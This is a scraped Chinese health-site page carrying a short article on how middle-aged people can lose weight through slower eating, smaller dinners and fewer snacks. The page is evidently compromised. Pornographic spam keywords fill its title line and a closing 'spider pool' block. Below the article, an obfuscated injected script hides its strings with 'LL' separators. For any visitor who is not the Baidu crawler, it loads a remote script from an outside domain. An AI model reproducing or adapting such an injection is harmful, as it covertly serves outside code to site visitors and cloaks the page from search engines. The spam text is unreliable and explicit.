久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 減肥方法 > 正文

中年人發福怎么辦 中年人如何減肥

2017-03-11 20:15:12  來源:360常識網   熱度:
導語:隨著年紀的增多,基礎的代謝慢慢下降,大多數人到中年會漸漸肥胖起來,身體走樣,而且發福會引起其他的疾病等,那么,人到中年發福如何減肥呢?

肥胖人群中約有95%是由于不良飲食習慣造成的。不良的飲食習慣包括:不吃早餐、濫吃零食、蔬菜和水果食用量偏少等。除此之外,吃飯時狼吞虎咽,平時缺乏運動等也是誘發肥胖病癥的主要原因。

1.控制進食速度

進食速度過快也是發胖的一個原因。放慢進食速度,充分咀嚼后再吃,細細品嘗,每一口咀嚼30次以上。咀嚼得愈久,飯后的能量消耗就愈高。多花點時間慢慢吃,用餐時間若沒有超過20分鐘,腦部不會發出飽足信號。

2.適當控制進食量

防止中年肥胖的最好方法是飲食有節制,減少主糧和糖類食品的攝入。尤其對一些含脂肪過多的高熱量食物如花生、核桃、芝麻以及各種植物油、動物油、奶油、油炸品和油酥點心等,食用時,一定要加以節制。

3.晚餐要少,不吃夜宵

俗話說“早餐要飽,午餐要好,晚餐要少”,其中“晚餐要少”對于減肥防胖特別重要。如果晚餐過飽或夜間又吃夜宵,食物轉化的能量不能完全消耗,就會在體內皮下脂肪中儲存起來導致發胖。

4.必須改變愛吃零食的習慣

性味肥甘的零食,如糖果、巧克力,花生米、瓜子、奶油餅干等零食,要戒口。但有些酸味的零食,如話梅,酸楊桃,楊梅、杏干等,于兩餐之間適量食用,卻有助于減肥。吃零食雖然不會比正餐多,但更容易發胖。例如,你邊吃花生邊看電視,兩把花生就有805千卡的熱量,幾乎等于三碗飯。因此,要想減肥防胖,要具有抵御美食誘惑的毅力。

5.食物不要太精細

因為食物太精細,纖維素必然很少,食后不容易產生飽腹感,往往造成過量進食。

所以合理地安排飲食是防治肥胖病的重要措施。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 精品久久久久香蕉网 | 中文字幕乱码亚洲精品一区 | 欧美日韩免费一区 | 一级毛片视频 | 久久精品福利视频 | 欧美色视频在线观看 | 图片区 国产 欧美 另类 在线 | 免费黄色成人 | 日韩一区二区精品葵司在线 | 91在线入口| 欧美性猛交一区二区三区精品 | 热re99久久精品国产99热 | 玖玖色资源 | 午夜精品网站 | 综合网av | 在线干 | 露娜同人18av黄漫网站 | 草的我好爽 | 欧美色图亚洲自拍 | 亚洲免费片 | 在线a电影 | 色www精品视频在线观看 | 理论片一区 | 色综合久久久久 | 精品黄网 | 男女色啪网 | 五月色综合 | 亚洲精品v日韩精品 | 日韩3p视频 | heyzo在线观看 | 午夜视频你懂的 | 青青草久久 | 久久精品网 | 黄网址在线观看 | 亚洲毛片在线 | 日韩精品一区二区三区在线观看 | 一区二区中文字幕 | 宅宅久久 | av性色| 亚洲精品久久久久久一区二区 | 日韩视频在线免费观看 |